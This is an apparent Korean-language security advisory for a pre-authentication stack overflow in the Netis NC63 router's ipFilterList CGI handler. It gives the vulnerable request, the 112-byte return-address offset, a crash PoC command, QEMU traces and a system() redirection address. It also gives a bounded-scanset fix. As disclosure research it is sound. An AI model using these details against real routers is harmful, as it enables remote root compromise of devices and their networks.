
Netis NC63 ipFilterList 핸들러의 무제한 sscanf 스캔셋을 통한 인증 전 스택 버퍼 오버플로우에 대한 독창적인 연구 및 비파괴적 PoC
skk_set.cgi ipFilterList 핸들러에서 sscanf %[^,]를 통한 인증되지 않은(Pre-Auth) 스택 버퍼 오버플로우연구자: Özcan Ersan (@ozcanpng)
CVE-2026-76071NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/skk_set.cgiipFilterList=moddestHostsrcHostNetis NC63 펌웨어 V3.0.0.3327의 일반 MIB/값 파서는 ipFilterList의 destHost 필드를 두 개의 %[^,] 스캔셋으로 파싱하지만 최대 필드 폭이 없습니다. 각 변환은 16바이트 로컬 스택 버퍼에 기록됩니다. 따라서 직접 HTTP 클라이언트는 쉼표가 없는 긴 구성 요소를 제출하여 함수의 저장된 제어 데이터를 덮어쓸 수 있습니다.
동적으로 테스트된 두 번째 destHost 구성 요소의 경우 저장된 ra는 로컬 버퍼로부터 정확히 112바이트 떨어져 있습니다. 원본 해시 CGI에 대한 QEMU 추적은 0x0040f7f4에서 공격자가 선택한 세 번째 진입을 확인했습니다. 별도의 관찰 전용 테스트는 리턴을 원본 system() PLT 경로인 0x00423ab0으로 리디렉션하면서 공격자가 제어하는 요청 데이터를 정확한 MIPS a0 인자로 유지했습니다. 보호된 /bin/sh는 마커를 기록하고 어떤 명령도 실행하지 않았습니다.
공개 PoC는 의도적으로 과도하게 긴 B 패턴만 포함합니다. 비공개 제어 전송 값이나 명령 경계 구성은 포함하지 않습니다.
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47 squashfs-root/lib/libapmib.so

공급업체 프론트엔드는 srcHost와 destHost를 쉼표로 구분된 세 개의 구성 요소로 구성하여 ipFilterList와 함께 /cgi-bin/skk_set.cgi로 전송합니다:
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();
request({
url: "/cgi-bin/skk_set.cgi",
data: param
});

검증된 HTTP 형식의 CGI 요청에는 Cookie 또는 Authorization 헤더가 포함되지 않았습니다. /tmp/boa_auth가 없었음에도 실행은 ipFilterList=mod 및 destHost 파서 경로로 계속 진행되었습니다. 메모리 손상 결함은 FUN_0040f7f4의 폭이 없는 스캔셋이며, 더 넓은 CGI 인증 실패는 이 권한 있는 핸들러를 인증 전에 노출시키는 조건입니다.

Unauthenticated HTTP client
|
| POST /cgi-bin/skk_set.cgi
| ipFilterList=mod
| destHost=1,0.0.0.0,<long comma-free component>
v
FUN_004138a0
v
FUN_004134c8 (ipFilterList trigger row)
v
FUN_00410898(request, "ipFilterList")
v
FUN_0040f7f4(request, trigger, mib_table, pMib)
|
| get_request_param("destHost")
v
sscanf(value, "%d,%[^,],%[^,]", ...)
|
| second destination: char[16]
| no maximum scanset width
v
saved fp overwrite -> saved ra overwrite -> controlled PC
원본 libapmib.so 메타데이터는 srcHost와 destHost를 모두 이 파서 케이스를 선택하는 유형 0x0c에 매핑합니다. 동적 검증은 destHost로 수행되었으며, srcHost는 별도의 동적 주장이 아닌 정적 동일 파서 커버리지로 포함됩니다.

정규화된 Ghidra 기반 의사 코드:
case 0x0c:
value = get_request_param(request, metadata_name);
sscanf(value,
"%d,%[^,],%[^,]",
&selector,
first_ip_component, /* char[16] */
second_ip_component); /* char[16] */
*(char *)(destination + field_offset) = selector;
inet_aton(first_ip_component, destination + field_offset + 1);
inet_aton(second_ip_component, destination + field_offset + 5);
break;

sscanf() 자체가 취약점은 아닙니다. 결함은 %[^,]에 최대 필드 폭이 없어서 sscanf가 각 대상이 16바이트에 불과하다는 것을 알지 못한다는 점입니다. 용량을 고려한 형식은 %15[^,]와 같은 폭을 사용하고 정확히 세 번의 변환이 성공했는지 확인한 다음 파싱된 주소 값을 검증해야 합니다. 이는 예시적 완화 조치이지 공급업체 패치가 아닙니다.
FUN_0040f7f4는 0x0040f7f4에서 시작하여 0x1d0바이트 프레임을 생성합니다:
0040f7f4 addiu sp,sp,-0x1d0
0040f7f8 sw ra,0x1cc(sp)
0040f7fc sw fp,0x1c8(sp)
0040f800 sw s0,0x1c4(sp)
유형 0x0c 대상은 fp+0x14c와 fp+0x15c에 있습니다. 저장된 ra는 fp+0x1cc에 있어 두 번째 버퍼로부터의 정확한 거리는 다음과 같습니다:
0x1cc - 0x15c = 0x70 = 112 bytes

격리된 PC 증명은 112개의 패딩 바이트와 그 뒤에 0x0040f7f4의 리틀엔디언 하위 3바이트를 사용했습니다. sscanf 종결자가 네 번째 0바이트를 제공했습니다. QEMU는 두 번의 일반 파서 진입 후 덮어쓴 리턴 주소로 인한 세 번째 진입을 관찰했습니다:
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

별도의 비공개 검증은 원본 바이너리의 system() PLT 경로인 저장된 ra=0x00423ab0을 구성했습니다. 제어된 요청 키 접미사는 리턴 시 MIPS a0에 그대로 유지되었습니다. 일회용 런타임은 /bin/sh를 정적 로거로 대체했습니다:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.
이는 격리된 프로덕션 코드 경로에서 RCE 프리미티브를 입증합니다. 실제 라우터의 정확한 익스플로잇 신뢰성, 커널 랜덤화 동작 및 기본 WAN 노출은 테스트되지 않았습니다.
테스트된 netis.cgi는 프로덕션 아티팩트와 바이트 단위로 동일합니다. qemu-user에서는 플래시 기반 MIB 상태를 사용할 수 없기 때문에 일회용 rootfs는 0으로 채워진 MIB 상태를 할당하고 하나의 패킹된 필드 정렬을 조정한 공개된 실험실 전용 libapmib.so 조정을 사용했습니다. CGI, 요청 파서, 취약한 sscanf, 스택 프레임, 저장된 리턴 오프셋, 에필로그 또는 system() 경로는 변경하지 않았습니다. 정적 메타데이터는 원본 공급업체 libapmib.so에서 가져왔습니다.
원본 실행 파일은 고정 베이스이며 스택 카나리와 RELRO가 없고 실행 가능한 스택과 RWX 세그먼트를 가지고 있습니다. 이러한 속성은 익스플로잇 가능성 분석을 지원하지만 동적 PC 및 보호 경계 테스트를 대체하지는 않습니다.

URL 인코딩 본문의 드라이런 생성:
python3 poc/poc.py
인가된 일회용 대상으로의 명시적 전송:
python3 poc/poc.py --target http://192.168.1.1 --send
공개 스크립트는 115바이트 B 구성 요소를 사용하여 오버플로우 조건을 시연합니다. 전송 시 CGI 프로세스가 크래시될 수 있습니다. 명령 문자열, 셸코드, system 복귀 주소, 리버스 셸 또는 지속성은 포함하지 않습니다.
익스플로잇에 성공하면 라우터 관리 컨텍스트에서 공격자가 선택한 명령을 실행할 수 있습니다. 원본 Boa 구성은 CGI를 root로 실행합니다. 잠재적 결과에는 라우터 구성 및 비밀 노출, DNS/방화벽/라우팅 조작, 트래픽 리디렉션, 서비스 중단 및 전체 장치 손상이 포함됩니다.
%15[^,]를 사용하고 세 번의 변환 성공을 요구하십시오.%s 및 %[...]를 감사하십시오.evidence/README.md를 참조하십시오. 정규화된 의사 코드 및 명령어 증거는 attachments/decompiled-functions/에 있습니다.
CVE-2026-76071을 배정하고 공개 공개를 승인.실제 라우터에 플래싱된 것은 없습니다. 실제 명령, 셸코드, 리버스 셸, 지속성, 외부 네트워크 연결 또는 파괴적 작업은 사용되지 않았습니다.